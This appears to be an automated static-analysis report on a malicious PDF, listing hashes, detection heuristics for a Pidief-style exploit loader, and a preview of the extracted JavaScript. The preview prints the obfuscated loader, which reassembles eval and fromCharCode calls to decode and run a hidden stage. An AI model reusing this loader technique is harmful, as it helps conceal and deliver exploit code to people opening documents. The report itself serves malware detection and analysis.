Malicious PDF — malware analysis report

Static analysis result for SHA-256 a05eea2b58df27f5…

MALICIOUS

PDF

44.9 KB Authoring application: substr First seen: 2026-05-08
MD5: 6622191a87306eb09c3c36174ccfe2f1 SHA-1: a64cabbd5d1b908e451bc6a0807c57774557bf3a SHA-256: a05eea2b58df27f56d906289d66385fa101ad1f607f07e88bd43186b29f0a532
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB10A 440 bytes
SHA-256: e1395ae84526034e13b56731cae239dc2a428bc4a7c87fa2a60d234f7fd9c0e2
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
aa = v[v];
t='le';
b='v';
a="e".concat("a","n","b","w",b,"o");
s=a[0].concat(b,a[1],t[0]);
e=aa()[s];
sri=e('tit'.concat(t));
q=sri[v](a.length-6,a.length+2);
bulof=e(v[0].toUpperCase().concat(v[4],'ring.fr',a[6],q));
q=sri[v](t.length+12)[e(v[0].concat('ubject'))]('c');
k=q['len'.concat('gth')];
i=0;
while(i!=k){
	gvlv = 1*(q[i]) - (-1)*(q[i-(-1)]);
	s2 = s2.concat(bulof(gvlv));
	i+=2;
}
e(s2);

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